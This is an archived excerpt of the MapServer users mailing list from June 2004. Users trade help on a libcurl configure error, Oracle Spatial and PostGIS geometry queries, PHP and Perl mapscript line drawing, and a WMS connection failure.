tried to run configure with curllib 7.12.0, as it was same. Could you tell me how I can solve the problem? Thanks. -------------------------------------------------------- ./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied ./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied found libcurl version configure: error: libcurl version 7.10.1 or more recent is required. -------------------------------------------------------- Jin-Yong Choi =========================== Jin-Yong Choi, Ph. D. :-) Environmental DSS Scientist Agr. & Bio. Engineering, Purdue University Tel. 765-494-1196 Fax. 765-496-1115 http://pasture.ecn.purdue.edu/~watergen --------------010704040004080003000702 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit I'd like to compile MapServer for wmsclient.
While trying to run configure, I met the error follows.
I tried to run configure with curllib 7.12.0, as it was same.
Could you tell me how I can solve the problem?
Thanks.
--------------------------------------------------------
./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied
./configure: ../curl-7.10.8/curl-config: bad interpreter: Permission denied
                 found libcurl version
configure: error: libcurl version 7.10.1 or more recent is required.
--------------------------------------------------------

Jin-Yong Choi

===========================
Jin-Yong Choi, Ph. D. :-)
Environmental DSS Scientist
Agr. & Bio. Engineering, Purdue University
Tel. 765-494-1196
Fax. 765-496-1115
http://pasture.ecn.purdue.edu/~watergen
--------------010704040004080003000702-- From simon at inf.univali.br Mon Jun 14 07:51:45 2004 From: simon at inf.univali.br (Fernando S.) Date: Mon, 14 Jun 2004 11:51:45 -0300 Subject: [Mapserver-users] geometryfromtext in orcale spatial? In-Reply-To: References: Message-ID: <40CDBB81.7060105@inf.univali.br> This is a multi-part message in MIME format. --------------010504080408060608090004 Content-Type: text/plain; charset=GB2312 Content-Transfer-Encoding: 8bit Hi, Well, sorry to report you only now. I believe that you need to define the geometry column when you execute the query. I don't test this query, but I believe that work's. I already work with this way, and run correctly with mapserv. So try to use: data "the_geom from (select id, mdsys.SDO_GEOMETRY(2002, NULL, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 2, 1), mdsys.SDO_ORDINATE_ARRAY( *THE QUERY THAT RETURN THE POINTS FOR LINE *)) as the_geom FROM table where id = XXXXX)" 2002 - to define line (1, 2, 1) - to define line Here I used this and work correctly: data "shape from (select mdsys.SDO_GEOMETRY(2003, 82295, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 1003, 4), mdsys.SDO_ORDINATE_ARRAY(667052.077, 7092501.44, 657052.077, 7082501.44, 667052.077, 7072501.44)) as shape FROM fazendas where codigo_int = 79284237)" I believe that this example can help you to define your query. If you need some help you can report me. ================================================================== Fernando Simon - simon at cttmar.univali.br ================================================================== DataBase Manager, Mapserver, OracleSpatial Developer G10 - Laborat??rio de Computac,a~o Aplicada http://g10.cttmar.univali.br ================================================================== Fu Chen wrote: >Hi! >I need to make a feature, that link gps points into line to render in mapserver. >Vladimir Ilich Guzm??n R. suggest to use geometryfromtest feature in postgis to achieve it. >It is something like > >$data=" >the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || >(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where >ant.gid',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from >gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time' >AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; >$layer=$map->getLayerByName("secuencia_gps"); >$layer->set("data",$data); > >This method works in postgis. But this time I have to use oracle database. >How can I achieve this feature in oracle spatial? Is there any oracle function I can use to replace geometryfromtext? > >Thanks! > >-----Original Message----- >From: mapserver-users-admin at lists.gis.umn.edu >[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Vladimir >Guzm??n >Sent: Thursday, June 03, 2004 8:01 PM >To: Fu Chen >Cc: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] store and draw route > > >Hello. >We use postgis + phpmapscript, and is something like this: > >$data=" >the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' || >(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where >ant.gid',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from >gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time' >AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1"; >$layer=$map->getLayerByName("secuencia_gps"); >$layer->set("data",$data); > >Basically, what we do is a subquery to create a multilinestring from a >point geometry. > >Hpe that helps, > >Vladimir Ilich Guzm??n R. >------------------------ >http://maintask.com > > > >Fu Chen wrote: > > >>Hi! >>I try to use mapserver and postgis to record and render the some mobile worker's route. >>Those routes are record by a data table like (workorID, time, position). >>In the webgis interface, we try to draw a route map by mapserver. >>Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible. >>I don't know how to write map file or mapscript to get the feature. >>Anybody can give me some suggestion? >>Thank you! >> >>_______________________________________________ >>Mapserver-users mailing list >>Mapserver-users at lists.gis.umn.edu >>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users >> >> >> >> >> > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > --------------010504080408060608090004 Content-Type: text/html; charset=GB2312 Content-Transfer-Encoding: 8bit Hi,
    Well, sorry to report you only now. I believe that you need to define the geometry column when you execute the query. I don't test this query, but I believe that work's. I already work with this way, and run correctly with mapserv.
    So try to use:
       data "the_geom from (select id, mdsys.SDO_GEOMETRY(2002, NULL, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 2, 1), mdsys.SDO_ORDINATE_ARRAY( THE QUERY THAT RETURN THE POINTS FOR LINE )) as the_geom FROM table where id = XXXXX)"
    2002 - to define line
    (1, 2, 1) - to define line

    Here I used this and work correctly:
    data "shape from (select mdsys.SDO_GEOMETRY(2003, 82295, NULL, mdsys.SDO_ELEM_INFO_ARRAY(1, 1003, 4), mdsys.SDO_ORDINATE_ARRAY(667052.077, 7092501.44, 657052.077, 7082501.44, 667052.077, 7072501.44)) as shape FROM fazendas where codigo_int = 79284237)"

    I believe that this example can help you to define your query.
    If you need some help you can report me.


==================================================================
Fernando Simon - simon at cttmar.univali.br
==================================================================
DataBase Manager, Mapserver, OracleSpatial Developer
G10 - Laborat??rio de Computação Aplicada
http://g10.cttmar.univali.br
==================================================================


Fu Chen wrote:
Hi!
I need to make a feature, that link gps points into line to render in mapserver.
Vladimir Ilich Guzm??n R. suggest to use geometryfromtest feature in postgis to achieve it. 
It is something like

$data="
the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' ||
(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where
ant.gid<act.gid and ant.id_vehi=$id_vehi order by gid desc limit 1) ||
',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from
gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time'
AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1";
$layer=$map->getLayerByName("secuencia_gps");
$layer->set("data",$data);

This method works in postgis. But this time I have to use oracle database.
How can I achieve this feature in oracle spatial? Is there any oracle function I can use to replace geometryfromtext?

Thanks!

-----Original Message-----
From: mapserver-users-admin at lists.gis.umn.edu
[mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of Vladimir
Guzm??n
Sent: Thursday, June 03, 2004 8:01 PM
To: Fu Chen
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] store and draw route


Hello.
We use postgis + phpmapscript, and is something like this:

$data="
the_geom from (select oid,rumbo, geometryfromtext('MULTILINESTRING((' ||
(select x(gps_geom) || ' ' || y(gps_geom) from gps_vehi ant where
ant.gid<act.gid and ant.id_vehi=$id_vehi order by gid desc limit 1) ||
',' || x(gps_geom) || ' ' || y(gps_geom) || '))',1) as the_geom from
gps_vehi act where act.tiempo>='$from_time' AND act.tiempo<'$to_time'
AND act.id_vehi=$id_vehi) as foo using unique oid using srid=1";
$layer=$map->getLayerByName("secuencia_gps");
$layer->set("data",$data);

Basically, what we do is a subquery to create a multilinestring from a
point geometry.

Hpe that helps,

Vladimir Ilich Guzm??n R.
------------------------
http://maintask.com 



Fu Chen wrote:

Hi!
I try to use mapserver and postgis to record and render the some mobile worker's route.
Those routes are record by a data table like (workorID, time, position).
In the webgis interface, we try to draw a route map by mapserver.
Queried by the workor's ID, the position is sort by the time. then these points is linked with a line. We would like to draw a circle(or other symbol) on the key point if it is possible.
I don't know how to write map file or mapscript to get the feature.
Anybody can give me some suggestion?
Thank you!

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


 


_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users


--------------010504080408060608090004-- From nhv at cape.com Mon Jun 14 08:05:47 2004 From: nhv at cape.com (Norman Vine) Date: Mon, 14 Jun 2004 11:05:47 -0400 Subject: FW: [Mapserver-users] MUM2 WMS failed Message-ID: Eduardo Patto Kanegae writes: > > Hi, > > I tried to access the link http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 using JUMP but got the following error: > > ++++++++++ > java.io.IOException: Server returned HTTP response code: 400 for URL: > http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2?request=capabilities&WMTVER=1.0 the above link gives me a Capabilities response in a browser I am sure that others will have a much better demo of this service shortly in the mean time see http://www.vso.cape.com/~nhv/maps/mum.html pertinent source for above page below Cheers Norman ==== snip ==== From sgillies at frii.com Mon Jun 14 08:10:12 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 14 Jun 2004 09:10:12 -0600 Subject: [Mapserver-users] Shapefile attributes from mapscript::shapefileObj? In-Reply-To: <20040614141846.10C0B1A6DED@mail.medinaco.org> References: <20040614141846.10C0B1A6DED@mail.medinaco.org> Message-ID: Ethan, If you have defined a Layer that uses the shapefile as data, you can use the getItem() method for ($i=0; $i<$layer->{numitems}; $i++) { $attr_name = $layer->getItem($i); ... There is a corresponding getValue() method of shapeObj that gets attribute values. If you are trying to get the attribute names while outside of a Layer context, follow Lowell's suggestion. cheers, Sean On Jun 14, 2004, at 8:18 AM, Lowell Filak wrote: > Remember that attributes are stored in the associatted DBF file and > accessed through XBase.pm - need to run - hope that get's your started. > There are some examples in the wiki that should also help. > http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2 > > Lowell > > The following message was sent by "Ethan Alpert" > on Wed, 9 Jun 2004 15:34:37 -0600. > >> >> >> Ok I give up how can I get attributes of shapes from a shapefile using >> PERL mapscript? >> >> I need to extract the attributes to create labels and everything I've >> tried gives me nothing. I have 33 points in a shapefile and each point >> has a name and an elevation as attributes. I can see these in Arc >> Explorer so I know they're there. >> >> Thanks, >> >> -e >> >> _______________________________________________ >> Mapserver-users mailing list >> Mapserver-users at lists.gis.umn.edu >> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sgillies at frii.com Mon Jun 14 08:14:58 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 14 Jun 2004 09:14:58 -0600 Subject: [Mapserver-users] change style dynamically - getstyle In-Reply-To: <002401c45211$85a45e80$8469850a@GILEMANS> References: <118A9CF846431048B65C4AFB0E57C0ED037339@ECQCSTFMAIL1.quebec.int.ec.gc.ca> <002401c45211$85a45e80$8469850a@GILEMANS> Message-ID: <995D8190-BE15-11D8-AF6F-000D9329D732@frii.com> On Jun 14, 2004, at 7:14 AM, Sylvain Beorchia wrote: > Hi list, > > I try to change the symbology of my object dynamically inside my PHP > code, i > try this : > > > $sym1 = $gpoMap->getSymbolByName ( "BF125" ); > $class = $oLayer->getClass (0); > $style = $class->getStyle(0); > $style->color->setRGB(0, 255, 0); > $style->set ( 'symbol', $sym1 ); > $pt = ms_newPointObj(); > $pt->setXY( 2100000, 10100000 ); > $pt->draw($gpoMap, $oLayer, $image, 0, "Pt1"); > > This code is supposed to add a point on my layer according to the > symbology > i try to set. > But i've got this error : > > Fatal error: Call to undefined function: getstyle() in > C:\epcenter\pub\htdocs\gmap.php3 on line 984 > > Is GetStyle always available ? I'm using Mapserver 4, Apache 2 , PHP 4. > > Thanks. > Sylvain. > No. New and multiple styles are only available in 4.2. The work around for version 4.0 is to substitute $style = $class->styles; for $style = $class->getStyle(0); cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sidnei at cria.org.br Mon Jun 14 08:28:08 2004 From: sidnei at cria.org.br (Sidnei de Souza) Date: Mon, 14 Jun 2004 12:28:08 -0300 Subject: [Mapserver-users] Drawing Lines - Perl Message-ID: <40CDC408.1070606@cria.org.br> Dear all, I'm having a problem drawing lines on-the-fly with Perl mapscript and haven't found anything in the list archive that can help me. I'm attaching a perl script that I think should work, but a blank image is produced. I'm trying this in a RedHat Linux, with mapserver 4.2.0 If I change the layer and shape types to POLYGON instead of LINE, a correct polygon is produced. Any help will be very welcome! Thanks sidnei #!/usr/local/bin/perl use mapscript; $map = new mapscript::mapObj('') || die; $map->setProjection('proj=longlat'); $map->{width} = 300; $map->{height} = 250; $map->{extent}->{minx} = -53.11; $map->{extent}->{maxx} = -44.16; $map->{extent}->{miny} = -25.30; $map->{extent}->{maxy} = -19.78; my $img = $map->prepareImage(); my $point = new mapscript::pointObj(); my $line = new mapscript::lineObj(); my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); my $layer = new mapscript::layerObj($map); $layer->{'type'} = $mapscript::MS_LAYER_LINE; $layer->{'name'} = 'myline'; $layer->{'status'} = 1; $layer->setProjection('proj=longlat'); my $class = new mapscript::classObj($layer); $class->{numstyles} = 1; $class->{name} = 'myclass'; $class->{styles}->{symbol} = 0; $class->{styles}->{color}->{red} = -1; $class->{styles}->{color}->{green} = -1; $class->{styles}->{color}->{blue} = -1; $class->{styles}->{outlinecolor}->{red} = 255; $class->{styles}->{outlinecolor}->{green} = 0; $class->{styles}->{outlinecolor}->{blue} = 0; $class->{styles}->{'minsize'} = 2; $class->{styles}->{'maxsize'} = 20; $class->{styles}->{'size'} = 5; $point->{x} = -47.0608; $point->{y} = -22.9056; $line->add($point); $point->{x} = -45.65; $point->{y} = -24.55; $line->add($point); $point->{x} = -46.65; $point->{y} = -25.55; $line->add($point); $point->{x} = -47.0608; $point->{y} = -22.9056; $line->add($point); $shape->add($line); $shape->draw($map,$layer,$img); $layer->draw($map,$img); $img->save('myimage.png'); -- Sidnei de Souza Diretor de Inform?tica, CRIA "Feliz aquele que transfere o que sabe e aprende o que ensina." [Cora Coralina] From dgadoury at dmsolutions.ca Mon Jun 14 08:33:43 2004 From: dgadoury at dmsolutions.ca (Dean Gadoury) Date: Mon, 14 Jun 2004 11:33:43 -0400 Subject: [Mapserver-users] MUM2 WMS failed In-Reply-To: <20040614133801.17430.qmail@hm47.locaweb.com.br> References: <20040614133801.17430.qmail@hm47.locaweb.com.br> Message-ID: <40CDC557.9070102@dmsolutions.ca> Hi Eduardo, If you want an online WMS viewer to test the connection you can try: http://www.wmsviewer.com/main.asp Dean Eduardo Patto Kanegae wrote: >Hi, > >I tried to access the link http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 using JUMP but got the following error: > >++++++++++ >java.io.IOException: Server returned HTTP response code: 400 for URL: http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2?request=capabilities&WMTVER=1.0 > > at sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown Source) > > at java.net.URL.openStream(Unknown Source) > > at com.vividsolutions.wms.WMService.initialize(WMService.java:71) > > at com.vividsolutions.jump.workbench.ui.plugin.wms.URLWizardPanel.exitingToRight(URLWizardPanel.java:127) > > at com.vividsolutions.jump.workbench.ui.wizard.WizardDialog.nextButton_actionPerformed(WizardDialog.java:269) > > at com.vividsolutions.jump.workbench.ui.wizard.WizardDialog$3.actionPerformed(WizardDialog.java:210) > > at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) > > at javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown Source) > > at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown Source) > > at javax.swing.DefaultButtonModel.setPressed(Unknown Source) > > at javax.swing.plaf.basic.BasicButtonListener.mouseReleased(Unknown Source) > > at java.awt.Component.processMouseEvent(Unknown Source) > > at java.awt.Component.processEvent(Unknown Source) > > at java.awt.Container.processEvent(Unknown Source) > > at java.awt.Component.dispatchEventImpl(Unknown Source) > > at java.awt.Container.dispatchEventImpl(Unknown Source) > > at java.awt.Component.dispatchEvent(Unknown Source) > > at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) > > at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) > > at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) > > at java.awt.Container.dispatchEventImpl(Unknown Source) > > at java.awt.Window.dispatchEventImpl(Unknown Source) > > at java.awt.Component.dispatchEvent(Unknown Source) > > at java.awt.EventQueue.dispatchEvent(Unknown Source) > > at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown Source) > > at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) > > at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) > > at java.awt.Dialog$1.run(Unknown Source) > > at java.awt.Dialog.show(Unknown Source) > > at java.awt.Component.show(Unknown Source) > > at java.awt.Component.setVisible(Unknown Source) > > at com.vividsolutions.jump.workbench.ui.plugin.wms.AddWMSQueryPlugIn.execute(AddWMSQueryPlugIn.java:83) > > at com.vividsolutions.jump.workbench.plugin.AbstractPlugIn$1.actionPerformed(AbstractPlugIn.java:121) > > at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) > > at javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown Source) > > at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown Source) > > at javax.swing.DefaultButtonModel.setPressed(Unknown Source) > > at javax.swing.AbstractButton.doClick(Unknown Source) > > at javax.swing.plaf.basic.BasicMenuItemUI.doClick(Unknown Source) > > at javax.swing.plaf.basic.BasicMenuItemUI$MouseInputHandler.mouseReleased(Unknown Source) > > at java.awt.Component.processMouseEvent(Unknown Source) > > at java.awt.Component.processEvent(Unknown Source) > > at java.awt.Container.processEvent(Unknown Source) > > at java.awt.Component.dispatchEventImpl(Unknown Source) > > at java.awt.Container.dispatchEventImpl(Unknown Source) > > at java.awt.Component.dispatchEvent(Unknown Source) > > at java.awt.LightweightDispatcher.retargetMouseEvent(Unknown Source) > > at java.awt.LightweightDispatcher.processMouseEvent(Unknown Source) > > at java.awt.LightweightDispatcher.dispatchEvent(Unknown Source) > > at java.awt.Container.dispatchEventImpl(Unknown Source) > > at java.awt.Window.dispatchEventImpl(Unknown Source) > > at java.awt.Component.dispatchEvent(Unknown Source) > > at java.awt.EventQueue.dispatchEvent(Unknown Source) > > at java.awt.EventDispatchThread.pumpOneEventForHierarchy(Unknown Source) > > at java.awt.EventDispatchThread.pumpEventsForHierarchy(Unknown Source) > > at java.awt.EventDispatchThread.pumpEvents(Unknown Source) > > at java.awt.EventDispatchThread.pumpEvents(Unknown Source) > > at java.awt.EventDispatchThread.run(Unknown Source) > >++++++++++ > >a question: does it have something to do I am behind a proxy server? > >is there WMS/WFS browser website available on the web? so that I don't need to connect from my machine to the server... it shold go from the website to the server. > >thanks > > >Eduardo Patto Kanegae >http://www.consultoria.eti.br >UIN: 303747254 > >Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver >I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 >Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > >***Fim da Mensagem / End of Message *** > > > > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > -- ___________________________ Dean Gadoury DM Solutions Group 30 Rosemount Ave. Suite 200 Ottawa, Ontario. K1Y 1P4 613.565.5056 ext. 24 dgadoury at dmsolutions.ca www.dmsolutions.ca From joanvp at yahoo.com Mon Jun 14 08:40:48 2004 From: joanvp at yahoo.com (joanvp) Date: Mon, 14 Jun 2004 08:40:48 -0700 (PDT) Subject: [Mapserver-users] How can mapserver show a text file??? Message-ID: <20040614154048.39058.qmail@web50302.mail.yahoo.com> I'd like to know how can I insert a text file (for example, from a GPS) in Mapserver. And a final question,Is it possible to show a gml? Excuse my english... Thank you __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From m.meier at spiekermann.de Mon Jun 14 08:51:23 2004 From: m.meier at spiekermann.de (Manfred Meier) Date: Mon, 14 Jun 2004 17:51:23 +0200 Subject: [Mapserver-users] Drawing Lines - Perl In-Reply-To: <40CDC408.1070606@cria.org.br> References: <40CDC408.1070606@cria.org.br> Message-ID: <40CDC97B.4000400@spiekermann.de> I added a "$layer->addFeature($shape);" and got a red triangle. Is that right?? Manfred Sidnei de Souza schrieb: > Dear all, > > I'm having a problem drawing lines on-the-fly with Perl mapscript and > haven't found anything in the list archive that can help me. > I'm attaching a perl script that I think should work, but a blank image > is produced. > I'm trying this in a RedHat Linux, with mapserver 4.2.0 > If I change the layer and shape types to POLYGON instead of LINE, a > correct polygon is produced. > Any help will be very welcome! > Thanks > sidnei > > #!/usr/local/bin/perl > > use mapscript; > > $map = new mapscript::mapObj('') || die; > $map->setProjection('proj=longlat'); > > > $map->{width} = 300; > $map->{height} = 250; > > $map->{extent}->{minx} = -53.11; > $map->{extent}->{maxx} = -44.16; > $map->{extent}->{miny} = -25.30; > $map->{extent}->{maxy} = -19.78; > > my $img = $map->prepareImage(); > > my $point = new mapscript::pointObj(); > my $line = new mapscript::lineObj(); > my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); > > my $layer = new mapscript::layerObj($map); > $layer->{'type'} = $mapscript::MS_LAYER_LINE; > $layer->{'name'} = 'myline'; > $layer->{'status'} = 1; > > $layer->setProjection('proj=longlat'); > > my $class = new mapscript::classObj($layer); > $class->{numstyles} = 1; > > $class->{name} = 'myclass'; > $class->{styles}->{symbol} = 0; > $class->{styles}->{color}->{red} = -1; > $class->{styles}->{color}->{green} = -1; > $class->{styles}->{color}->{blue} = -1; > > $class->{styles}->{outlinecolor}->{red} = 255; > $class->{styles}->{outlinecolor}->{green} = 0; > $class->{styles}->{outlinecolor}->{blue} = 0; > > > $class->{styles}->{'minsize'} = 2; > $class->{styles}->{'maxsize'} = 20; > $class->{styles}->{'size'} = 5; > > $point->{x} = -47.0608; > $point->{y} = -22.9056; > $line->add($point); > > $point->{x} = -45.65; > $point->{y} = -24.55; > $line->add($point); > > $point->{x} = -46.65; > $point->{y} = -25.55; > $line->add($point); > > $point->{x} = -47.0608; > $point->{y} = -22.9056; > $line->add($point); > > $shape->add($line); > $shape->draw($map,$layer,$img); > $layer->draw($map,$img); > > $img->save('myimage.png'); > > > From sgillies at frii.com Mon Jun 14 09:10:31 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 14 Jun 2004 10:10:31 -0600 Subject: [Mapserver-users] Drawing Lines - Perl In-Reply-To: <40CDC408.1070606@cria.org.br> References: <40CDC408.1070606@cria.org.br> Message-ID: <5BFF6A60-BE1D-11D8-AF6F-000D9329D732@frii.com> On Jun 14, 2004, at 9:28 AM, Sidnei de Souza wrote: > Dear all, > > I'm having a problem drawing lines on-the-fly with Perl mapscript and > haven't found anything in the list archive that can help me. > I'm attaching a perl script that I think should work, but a blank > image is produced. > I'm trying this in a RedHat Linux, with mapserver 4.2.0 > If I change the layer and shape types to POLYGON instead of LINE, a > correct polygon is produced. > Any help will be very welcome! > Thanks > sidnei > Sidnei, I am going to weave a few comments and corrections into your script. > #!/usr/local/bin/perl > > use mapscript; > > $map = new mapscript::mapObj('') || die; > $map->setProjection('proj=longlat'); > > > $map->{width} = 300; > $map->{height} = 250; > > $map->{extent}->{minx} = -53.11; > $map->{extent}->{maxx} = -44.16; > $map->{extent}->{miny} = -25.30; > $map->{extent}->{maxy} = -19.78; > best practice for changing extents is to use setExtent() $map->setExtebt(-53.11, -25.30, -44.16, -19.78); this is because the map's scaling needs to be recalculated after a change of extent. > my $img = $map->prepareImage(); > > my $point = new mapscript::pointObj(); > my $line = new mapscript::lineObj(); > my $shape = new mapscript::shapeObj($mapscript::MS_SHAPE_LINE); > > my $layer = new mapscript::layerObj($map); > $layer->{'type'} = $mapscript::MS_LAYER_LINE; > $layer->{'name'} = 'myline'; > $layer->{'status'} = 1; > > $layer->setProjection('proj=longlat'); > > my $class = new mapscript::classObj($layer); > $class->{numstyles} = 1; > > $class->{name} = 'myclass'; > $class->{styles}->{symbol} = 0; Access to styles has been changed in version 4.2. The recommended usage is now $class->getStyle(0)->{symbol} = 0; > $class->{styles}->{color}->{red} = -1; > $class->{styles}->{color}->{green} = -1; > $class->{styles}->{color}->{blue} = -1; > Above you will need to define real color values because a LINE type layer is rendered using COLOR and ignores OUTLINECOLOR. Also, as with extents, you should use the setRGB() method $style = $class->getStyle(0); $style->setRGB(255, 0, 0); because there is a hidden pen parameter that needs to be set. > $class->{styles}->{outlinecolor}->{red} = 255; > $class->{styles}->{outlinecolor}->{green} = 0; > $class->{styles}->{outlinecolor}->{blue} = 0; > > > $class->{styles}->{'minsize'} = 2; > $class->{styles}->{'maxsize'} = 20; > $class->{styles}->{'size'} = 5; > > $point->{x} = -47.0608; > $point->{y} = -22.9056; > $line->add($point); > > $point->{x} = -45.65; > $point->{y} = -24.55; > $line->add($point); > > $point->{x} = -46.65; > $point->{y} = -25.55; > $line->add($point); > > $point->{x} = -47.0608; > $point->{y} = -22.9056; > $line->add($point); > > $shape->add($line); > $shape->draw($map,$layer,$img); > $layer->draw($map,$img); > > $img->save('myimage.png'); > > > > -- > Sidnei de Souza > Diretor de Inform?tica, CRIA > > "Feliz aquele que transfere o que sabe e aprende o que ensina." [Cora > Coralina] > cheers, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From sgillies at frii.com Mon Jun 14 09:22:08 2004 From: sgillies at frii.com (Sean Gillies) Date: Mon, 14 Jun 2004 10:22:08 -0600 Subject: [Mapserver-users] Drawing Lines - Perl In-Reply-To: <40CDC97B.4000400@spiekermann.de> References: <40CDC408.1070606@cria.org.br> <40CDC97B.4000400@spiekermann.de> Message-ID: If a MS_SHAPE_LINE type shape doesn't draw with shape->draw but does draw when added to an MS_LAYER_LINE type layer we have a bug. Sean On Jun 14, 2004, at 9:51 AM, Manfred Meier wrote: > I added a "$layer->addFeature($shape);" and got a red triangle. Is > that right?? > > Manfred > > > Sidnei de Souza schrieb: > >> Dear all, >> I'm having a problem drawing lines on-the-fly with Perl mapscript and >> haven't found anything in the list archive that can help me. >> I'm attaching a perl script that I think should work, but a blank >> image is produced. >> I'm trying this in a RedHat Linux, with mapserver 4.2.0 >> If I change the layer and shape types to POLYGON instead of LINE, a >> correct polygon is produced. >> Any help will be very welcome! From eduardo at consultoria.eti.br Mon Jun 14 09:32:53 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Mon, 14 Jun 2004 13:32:53 -0300 Subject: [Mapserver-users] MUM2 WMS failed In-Reply-To: <40CDC557.9070102@dmsolutions.ca> References: <20040614133801.17430.qmail@hm47.locaweb.com.br> <40CDC557.9070102@dmsolutions.ca> Message-ID: <40CDD335.9040808@consultoria.eti.br> Hi Dean, thanks. it works fine! each point is a user that was at MUM2( and accepted to be shown on map ) ? sounds good. shows us how mapserver is evolving world round. does anyone can estimate how many mapserver users are there over the whole world? 1000 ? or more? best. Eduardo Dean Gadoury escreveu: > Hi Eduardo, > If you want an online WMS viewer to test the connection you can try: > http://www.wmsviewer.com/main.asp > Dean > > Eduardo Patto Kanegae wrote: > >> Hi, >> >> I tried to access the link >> http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2 using JUMP but got the >> following error: >> >> ++++++++++ >> java.io.IOException: Server returned HTTP response code: 400 for URL: >> http://dev1.dmsolutions.ca/cgi-bin/mswms_mum2?request=capabilities&WMTVER=1.0 >> >> >> at >> sun.net.www.protocol.http.HttpURLConnection.getInputStream(Unknown >> Source) >> >> at java.net.URL.openStream(Unknown Source) >> >> at com.vividsolutions.wms.WMService.initialize(WMService.java:71) >> >> at >> com.vividsolutions.jump.workbench.ui.plugin.wms.URLWizardPanel.exitingToRight(URLWizardPanel.java:127) >> >> >> at >> com.vividsolutions.jump.workbench.ui.wizard.WizardDialog.nextButton_actionPerformed(WizardDialog.java:269) >> >> >> at >> com.vividsolutions.jump.workbench.ui.wizard.WizardDialog$3.actionPerformed(WizardDialog.java:210) >> >> >> at javax.swing.AbstractButton.fireActionPerformed(Unknown Source) >> >> at >> javax.swing.AbstractButton$ForwardActionEvents.actionPerformed(Unknown >> Source) >> >> at javax.swing.DefaultButtonModel.fireActionPerformed(Unknown >> Source) >> >> at javax.swing.DefaultButtonModel.setPressed(Unknown Source) >> >> at >> javax.swing.plaf.basic.BasicButtonListener.mouseReleased(Unknown Source) >> >> at java.awt.Component.processMouseEvent(Unknown Source) >> >> at java.awt.Component.processEvent(Unknown Source) >> >> at java.awt.Container.processEvent(Unknown Source) >> >> at java.awt.Component.dispatchEventImpl(Unknown Source) >> >> at 